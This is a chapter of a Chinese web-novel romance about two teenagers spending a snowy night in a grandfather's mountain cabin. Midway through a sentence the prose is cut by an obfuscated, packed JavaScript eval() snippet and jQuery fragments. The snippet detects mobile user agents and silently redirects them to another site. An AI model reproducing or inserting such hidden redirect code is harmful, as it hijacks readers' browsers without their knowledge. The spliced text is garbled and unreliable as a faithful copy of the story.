外面没下雪，天气寒冷，吸一口空气里都是山间清新冷冽的味道。
赵桦烟不知程恪臣要去哪里，她跟着，没离得太远。
木屋四周被竹林环绕，穿过这片裹着透明白冰的绿，斜坡上，放眼看去，都是青冈类树木，再远一点就是成片高大的松树。
脚下地面铺着雪，晃眼的白照射在二人脸庞上。
程恪臣停下，没回头：“你看见什么了？”
这话来的莫名其妙，赵桦烟疑惑地皱了下眉才道：“我什么都没看见。”
程恪臣转身，他掀眸看着前面的人：“你还要看野兔。”
赵桦烟思维很慢：“我从一开始就不感兴趣。”
她说完，男生突然偏了下头，看向她的后方，示意：“你后面。”
赵桦烟扭过身，视线寻觅，注意到斜前方树下有一只通体灰色，胖乎乎的兔子。
她微微张唇，震惊惊喜之色明显。
赵桦烟不敢说话，回头与程恪臣对视一眼。
男生虽然穿着羽绒服，但身量高，肩宽腿长的极优比例，一点都不显得臃肿，妥妥的衣架子。
他还是喜欢插着兜，站姿懒散，说话的口吻音调平平，没什么情绪在里面。
“你看我，我也抓不到给你。”
赵桦烟吸气，她回过身去，视线落在那只胖胖的灰兔上：“你想太多。”
二人就这样静静地站着，看那只雪地里兔子看了半晌。
直到兔子察觉到人类，飞速跑开，转眼间的功夫，窜进山里没见了。
在外面站久，身体感受到的寒意累积，四肢开始冰冷起来。
赵桦烟想回去，开口道：“要不我们先……”
一个雪球从后方而来，直直砸在她肩膀上。
赵桦烟咽下没说完的话，果断地低头，伸手从地上抓一大把雪揉成一团，抬手瞄准不远处的程恪臣就丢。
他不以为意，闲庭散步似的地抬脚往下走一步，下一秒，雪球正中头上。
赵桦烟微扬下颌：“你太自信。”
说完，见程恪臣没动，怕出事，赵桦烟忍不住向前几步，正欲说什么，就看到男生甩甩头，细雪撒他一身。
“力道真弱。”他伸手撩起刘海，犀利的眉眼清晰，直直向她投来一个微嗤的视线。
赵桦烟当即附身，从地上又抓了把雪。
—
等回到木屋，两人衣服或多或少都湿了一些，浑身上下热乎。
天已经完全黑下来，老式的电灯泡灯光暖黄，火炉里的干柴就没停过，这会儿门紧闭，房间内待着很舒服。
厨房木窗被支着打开到一半，黑夜里白雪飘飞。
赵桦烟和程恪臣被安排在一边地上，削土豆。
她干这些事得心应手，垂眼闷声削，余光里，旁边男生动作缓慢。
赵桦烟直起点身体：“摸鱼。”
结果话刚说完，程恪臣就中招。
看着那人左手食指顶端源源不断冒出来的鲜血，赵桦烟微微傻眼。
她站起来，小跑到沙发，从上面捞过自己的书包放到自己腿上，从里面翻找。
她记得自己前不久刚买了三个创口贴，没用完。
拿到创口贴她折返，蹲下身，递给对面的人。
程恪臣用纸巾将血擦干净：“不用。”
赵桦烟又往前递：“别害羞。”
程恪臣视线落在捏着那张创口贴的手指上，甲床平整，指腹微红。
他伸手接过创口贴。
赵桦烟见他已经在撕开，以为是自己刚才那句话让人分心受伤，她有些过不去：“下次不这样说你了。”
话音落地半秒，察觉到对面的人影附过来，赵桦烟下意识跟着看过去。
程恪臣把那张撕开的创口贴贴到她右手臂衣服的口子上。
那个细长的口子是几刻前在山里走过不小心被刺划破的。
不大一个，但黑色的羽绒服，里面白色的鸭绒总有几缕跑出来。
这会儿最普通最常规的那种创口贴贴上，完全有剩余，看不到之前的样子。
赵桦烟身体僵硬，她还是保持着扭头向下看着手臂的姿势，感觉有很多话要说，却一句也想不起来。
再撕下来拒绝其实显得矫情，对面的人早已退回去。
“别偷懒。”他语气淡淡的，听着完全没当回事。
赵桦烟踌躇：“我再给你拿一个。”
程恪臣抬眼与她对视上，转瞬在二人跟前竖起那根食指，神态冷漠地翻过一个面。
一厘米左右的伤口，这会儿没再流血。
他细长的眼里没有半点温度：“不如送我去抢救。”
赵桦烟眸光扭向一边：“麻烦别人不好。”
程爷爷不知他们之间发生什么，他作为今天的掌厨人，到时间点来没收土豆。
“接下来没什么需要你们帮忙的了，你们去炉子边沙发坐下，烤烤火。”老头儿露出个慈爱的笑，“爷爷待会儿让你们吃香的，尝尝我的手艺。”
他背有些驼，但走路稳当，颠锅的时候动作流畅。
猛火翻炒，配料一通下，不一会儿，几个菜就出锅。
五人围着火炉，外面风雪夜。
可能是柴火做的菜，赵桦烟吃起来格外地香，心里深处也莫名弥漫低落的情绪。
木屋不大，房间也不多。
赵桦烟和程恪臣在一间打地铺，中间隔着道屏风。
晚上八点过，突然停电，所以大家早早回房休息，照明用的是蜡烛。
这会儿四下安静，上方壁龛上放置的蜡烛烛火跳动。
赵桦烟没有睡意，她也没有躺着玩手机的习惯。
屏风两只脚支在地面，有一定的高度，从她的角度看去，只能从那一掌宽的缝隙撇见程恪臣被子边缘。
红烛融化，烛火亮橙。
赵桦烟头顶上方的那一根很短，率先熄灭，她这一面陷入黑暗，只有程恪臣那一面还亮着。
她翻过一个身，正欲闭眼，忽的注意到屏风，男生轮廓剪影投射在上面。
他的黑发蓬松，刘海一缕缕，应该是正面躺着，从额头到高挺的鼻梁顺滑着向下，又到微薄平整的嘴唇，流畅的下颌。
如纸面上被画技高超的漫画作家勾勒出来的挚爱完美之作，立体优越，没有半点瑕疵。
看着看着，赵桦烟不禁伸手隔空顺着描摹。
从有些嚣张翘起的头发向下到山根，途过鼻尖转弯直落到鼻下。
在这里，她动作稍顿，眼睛没眨，凝视着那嘴唇，没带一丝杂念，纯粹是有些探索欲的盯着看几秒，然后手再度往下，滑过唇峰，路线起伏直至点在下巴。
“能看到。”
冷不丁的人声，赵桦烟霎时被攫走呼吸。
她绷着神经，不带一丝声响地收回手。
烛火跳跃，屏风上的阴影变动，透过那缝隙，赵桦烟能大致猜到程恪臣翻身面朝她这边。
他的手搭在床沿，也没有下一步的举动，但赵桦烟还是抱着被子无声地往后推开点身体。
“赵桦烟。”
她听到他的声音，她心跳如雷，眼前一阵阵发晕，不真实。
之后很久房间都很安静，程恪臣姿势没变，他那头的蜡烛熄灭，周遭彻底陷入黑暗。
赵桦烟大气不敢出，这样的寂静，所有的感官无限被放大。
她刻意收着自己的呼吸，胸腔一阵阵发紧，生怕旁边的人觉察到她的存在。
程恪臣仰躺着，目光落在对面窗子，外头是呼呼的风声。
“别憋了。”他语气淡淡提醒。
赵桦烟神思懵着，恍惚以为程恪臣说的是别装了。
她出了点微汗，突然把头埋进被子里，四方都遮得严实，大口地呼吸着。
缓得差不多，她钻出来，把被子拉到下巴下面，让寒凉的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816707|190922||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
空气扑上她的面孔。
自始至终她什么话都没说，将安静贯彻到底。
翌日天色微亮，赵桦烟在一声低低的咳嗽声中转醒。
她揉揉眼睛，意识渐渐回笼，下意识扭头看向旁边。
房间光线没大亮，但视野范围内看物看得清楚。
程恪臣应该在玩手机，静音，但手机屏幕的蓝光微亮。
赵桦烟裹着被子坐起来，捂着嘴打一个哈欠。
她理理头发，又听到一声闷咳。
赵桦烟沉默几秒：“你感冒了？”
程恪臣手指停顿，转瞬操作游戏人物跑起来，嗓音淡漠：“原来你不是哑巴。”
赵桦烟看向旁处，没理这茬，不禁道：“你这身体素质……”
程恪臣没有情绪地杀死对面玩家：“跟那没关系。”
赵桦烟将外套穿上：“我们今天能走吗？”
程恪臣重新又开一把：“你留恋什么？”
赵桦烟折被子的动作放慢：“随口一问而已。”
左手边的窸窸窣窣的动静，程恪臣瞥一眼，收回视线没说话。
不一会儿，赵桦烟站起身：“那我先出去了。”
话音落，她径直走到门边，打开门离开屋子。
程恪臣放下手机，握拳抵在唇上咳嗽一声。
他没再睡，揣起手机起床，没一会儿也出去。
程爷爷正在炉子边烧火，见到女孩子，他惊讶：“怎么不多睡一下？”
赵桦烟冲老人露出个微笑:“在学校早起习惯了。”
程爷爷：“昨晚睡得怎么样？冷吗？”
赵桦烟摇头：“不冷，被褥暖和。”
“那就好，”程爷爷注意到自己孙子，“恪臣也起了啊？”
程恪臣抬脚跨过门槛，嗯一声。
“行，火也烧燃了，都来坐。”程爷爷拍拍沙发上的柴灰，“待会儿爷爷给你们煮粥喝。”
赵桦烟刚坐下，双手揣兜里下意识想掏出耳机听英语，这一摸，发现没有。
她四下看，没看到，猜测可能落在睡觉的地方，她站起来，折返。
木屋的构造很简单，分为四个房间，直列的一整排。
烧火这一间既是客厅，又是厨房，什么都有，左手边过去的第一间就是赵桦烟和程恪臣昨晚睡的地方，平时都用来对一些干货，十几平方，很小。
她从外面推开门，几乎一眼，就可以将房间望到底。
昨晚停电，打地铺的时候，是程恪臣和他爷爷来铺的，赵桦烟不知道，听从安排来睡觉时，又正巧停电，她什么都没怎么看清。
这会儿，外头雪色白亮，她倒是看得很清楚。
比起她那边明显折叠好铺展整齐的被子床垫，程恪臣那边很随意，被子打开一角，露出下面的垫子。
只有一床，不厚，不像赵桦烟那面，不仅是两层，上面的一层还是那种厚实的毛毯。
她在这一刻明白过来，程恪臣大抵是夜间着凉的。
赵桦烟心情复杂，附身从自己枕头边捡起那个白色耳机，出去关上门，往回走。
临近堂屋门边，还未进去，先听到程爷爷的声音。
“来，把这个喝了。”
“不用。”
“哟，”程爷爷嗓门大，“我都给泡好了，难不成要我倒掉。”
程恪臣只能接过来。
程爷爷欣慰：“这就对了，生病就吃药，别等严重了再去管，屏住呼吸一口闷。”
程恪臣;“我自己能喝。”
程爷爷：“我就在这里看着你喝，喝完我再走。”
程恪臣面色不爽地举杯仰头。
程爷爷满意了：“待会儿回家去，记得还有两次药要吃。”
程恪臣嗯一声。
竹林绿叶清脆地撞响，大地一片银白。
赵桦烟仰头望着，抬起脚尖轻轻踩雪，好几下。
还好。